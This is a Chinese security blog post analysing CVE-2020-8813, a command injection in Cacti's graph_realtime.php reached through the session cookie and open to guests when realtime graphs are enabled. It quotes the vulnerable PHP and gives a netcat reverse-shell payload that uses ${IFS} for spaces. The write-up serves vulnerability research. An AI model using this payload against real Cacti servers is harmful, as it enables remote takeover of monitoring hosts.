CVE-2020-8813漏洞分析:网络流量监测图形分析工具 Cacti RCE 漏洞
摘要:Cacti是一组基于PHP,MySQL,SNMP和RRDTool的用于网络流量监视的图形分析工具,使用snmpget获取数据,RRDtool绘制图形,无需了解RRDtool的复杂参数。
Cacti是一组基于PHP,MySQL,SNMP和RRDTool的用于网络流量监视的图形分析工具,使用snmpget获取数据,RRDtool绘制图形,无需了解RRDtool的复杂参数。
它提供了非常强大的数据和用户管理功能。可以指定每个用户可以查看树结构,host和任何图片。它还可以与LDAP结合使用以进行用户身份验证。同时,可以添加模板。功能非常强大完整。Cacti软件的开发基于使RRDTool用户更易于使用该软件。除了基本的Snmp流量和系统信息监视之外,Cacti还可以外挂 Scripts 及加上Templat
es来创建各种监视图表。
Cacti是用PHP语言实现的软件。它的主要功能是使用snmp服务获取数据,然后使用rrdtool存储和更新数据。 当用户需要查看数据时,使用rrdtool生成图表并将其呈现给用户。因此,snmp和rrdtool是cacti的关键。 Snmp与数据收集有关,而rrdtool与数据存储和图表生成有关。
漏洞利用分析
在分析Cacti主要代码中的多个功能时发现了此漏洞。需要结合多种漏洞利用因素来实现代码执行。当攻击者尝试将恶意代码注入“Cacti”Cookie变量时,将触发此漏洞,并在与某些字符串合并后传递此变量给shell_
exec函数。但是,当尝试修改Cookie值时,遇到了身份验证问题,该问题使无法访问目标页面,但是易受攻击的页面可以作为“Guest”来访问,因此无需进行身份验证,因此修改了漏洞利用代码,并使用“Guest”身份访问页面“graph_realtime.php”,然后发送了恶意请求以在目标主机上执行代码。
首先,我们需要向“user_admin.php”页面发送请求以启用“realtime_graph”访客权限,然后将恶意请求发送至“graph_realtime.php”页面。
接下来,使用常用的RCE扫描脚本在Cacti中搜索RCE漏洞。
运行脚本后,在“graph_realtime.php”文件中发现了一个非常有趣的东西:
graph_realtime.php
/* call poller */
$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';
$command = read_config_option('path_php_binary');
$args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);
shell_exec("$command $args");
/* construct the image name */
$graph_data_array['export_realtime'] = $graph_rrd;
$graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA;
$null_param = array();
我们可以在上面的代码中看到第4行和第5行收到了一些参数和一个名为“get_request_var”的函数。功能如下:
html_utility.php
function get_request_var($name, $default = '') {
global $_CACTI_REQUEST;
$log_validation = read_config_option('log_validation');
if (isset($_CACTI_REQUEST[$name])) {
return $_CACTI_REQUEST[$name];
} elseif (isset_request_var($name)) {
if ($log_validation == 'on') {
html_log_input_error($name);
}
set_request_var($name, $_REQUEST[$name]);
return $_REQUEST[$name];
} else {
return $default;
}
}
我们可以看到该函数可以通过“set_request_var”函数处理输入数据并设置参数值,该函数的相关代码如下:
html_utility.php
function set_request_var($variable, $value) {
global $_CACTI_REQUEST;
$_CACTI_REQUEST[$variable] = $value;
$_REQUEST[$variable] = $value;
$_POST[$variable] = $value;
$_GET[$variable] = $value;
}
接下来,回到我们的“ graph_realtime.php”页面,我们可以控制以下输入:
local_graph_id
The value of $graph_data_array[‘ds_step’]
但是,我们注意到“ graph_realtime.php”文件中的第4行,该文件使用sprintf()函数处理输入,并且第一个值“graph”的内容为“ local_graph_id”,并且我们可以控制该值!但是,名为“get_filter_request
_var”的函数将过滤该值,我们可以看到它已在“graph_realtime.php”中过滤:
html_utility.php
function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) {
if (isset_request_var($name)) {
if (isempty_request_var($name)) {
set_request_var($name, get_nfilter_request_var($name));
return get_request_var($name);
} elseif (get_nfilter_request_var($name) == 'undefined') {
if (isset($options['default'])) {
set_request_var($name, $options['default']);
return $options['default'];
} else {
set_request_var($name, '');
return '';
}
} else {
if (get_nfilter_request_var($name) == '0') {
$value = '0';
} elseif (get_nfilter_request_var($name) == 'undefined') {
if (isset($options['default'])) {
$value = $options['default'];
} else {
$value = '';
}
} elseif (isempty_request_var($name)) {
$value = '';
} elseif ($filter == FILTER_VALIDATE_IS_REGEX) {
if (is_base64_encoded($_REQUEST[$name])) {
$_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name]));
}
$valid = validate_is_regex($_REQUEST[$name]);
if ($valid === true) {
$value = $_REQUEST[$name];
} else {
$value = false;
$custom_error = $valid;
}
} elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) {
$valid = true;
if (is_array($_REQUEST[$name])) {
foreach($_REQUEST[$name] AS $number) {
if (!is_numeric($number)) {
$valid = false;
break;
}
}
} else {
$valid = false;
}
if ($valid == true) {
$value = $_REQUEST[$name];
} else {
$value = false;
}
} elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) {
$valid = true;
$values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY);
foreach($values AS $number) {
if (!is_numeric($number)) {
$valid = false;
break;
}
}
if ($valid == true) {
$value = $_REQUEST[$name];
} else {
$value = false;
}
} elseif (!cacti_sizeof($options)) {
$value = filter_var($_REQUEST[$name], $filter);
} else {
$value = filter_var($_REQUEST[$name], $filter, $options);
}
}
if ($value === false) {
if ($filter == FILTER_VALIDATE_IS_REGEX) {
$_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error));
set_request_var($name, '');
raise_message('custom_error');
} else {
die_html_input_error($name, get_nfilter_request_var($name));
}
} else {
set_request_var($name, $value);
return $value;
}
} else {
if (isset($options['default'])) {
set_request_var($name, $options['default']);
return $options['default'];
} else {
return;
}
}
}
该函数将过滤输入数据,然后返回“ clean”变量并将其传递给下一个函数。
对于第二个变量“ $ graph_data_array ['ds_step']”,它已由sprintf()处理了(%d),这意味着它将成为一个十进制值,因此我们不能使用它来注入恶意命令。
接下来,让我们看下面的代码:
graph_realtime.php
/* call poller */
$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';
$command = read_config_option('path_php_binary');
$args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);
shell_exec("$command $args");
/* construct the image name */
$graph_data_array['export_realtime'] = $graph_rrd;
$graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA;
$null_param = array();
我们看到了另一个传递给shell_exec函数的变量,该变量的值是session_id()函数返回的值。该函数可以返回当前用户会话的值,也就是说,我们可以使用它来注入命令。
如果我们修改会话,则无法访问目标页面,因为此页面要求用户经过身份验证才能访问它。经过研究发现如果启用名为“Realtime Graphs”的特殊权限,我们可以以访客身份访问此页面:
接下来,我们尝试访问未经Guest Realtime Graphs许可访问页面:
如我们所见,由于权限问题,我们现在无法访问此页面。现在,我们重新启用权限,然后访问页面:
接下来我们发送一个“graph_realtime.php”页面请求,然后在代码中添加一个“echo”语句,以输出传递给shell_exec函数的值:
如图所示,我们打印会话,然后尝试将自定义字符串注入会话:
很好,我们成功实现了注入。
Payload开发
成功控制会话值之后,我们需要使用它来在目标系统中执行代码执行,但是由于它本质上是会话值,因此我们无法使用某些特殊字符,因此我们需要开发“会话友好”的Payload。
例如,如果我们对字符串“Hi Payload”进行编码并将其传递给应用程序,我们将看到:
我们可以看到该应用程序为我们设置了一个cookie,而不是我们注入的cookie。要解决此问题,我们需要使用自定义Payload。
为了避免使用空格字符,使用“${IFS}”Bash变量来表示空格。
当然,我们还需要使用“;”转义命令:
;payload
如果我们要使用netcat来获取Shell,还需要创建以下Payload:
;nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port
我们首先对Payload进行编码:
然后将其发送到应用程序:
很好,我们的Payload已成功执行,拿到Shel。
漏洞利用代码
为了自动化整个漏洞利用编写了一个Python脚本来利用此漏洞:
运行漏洞利用代码后,我们将看到:
再次拿到Shell!
未经身份验证的漏洞利用
如果Cacti启用了“Guest Realtime Graphs”权限,那么我们可以在无需身份验证的情况下利用此漏洞。以下是这种情况下的利用代码:
我们可以看到,在这种情况下该漏洞也可以被成功利用。
相关热词搜索:CVE-2020-8813 漏洞分析 网络流量监测图形分析工具 Cacti RCE漏洞 重庆网络安全公司
上一篇:CVE-2020-0609和CVE-2020-0610漏洞分析:微软RDG漏洞,允许攻击者在目标设备上实现预认证远程代码执行
下一篇:Google中XSS漏洞:漏扫利器Acunetix Vulnerability Scanner
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8872( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6288( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4301( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3858( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3505( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2536( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2261( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )1995( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1842( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1775( 亮了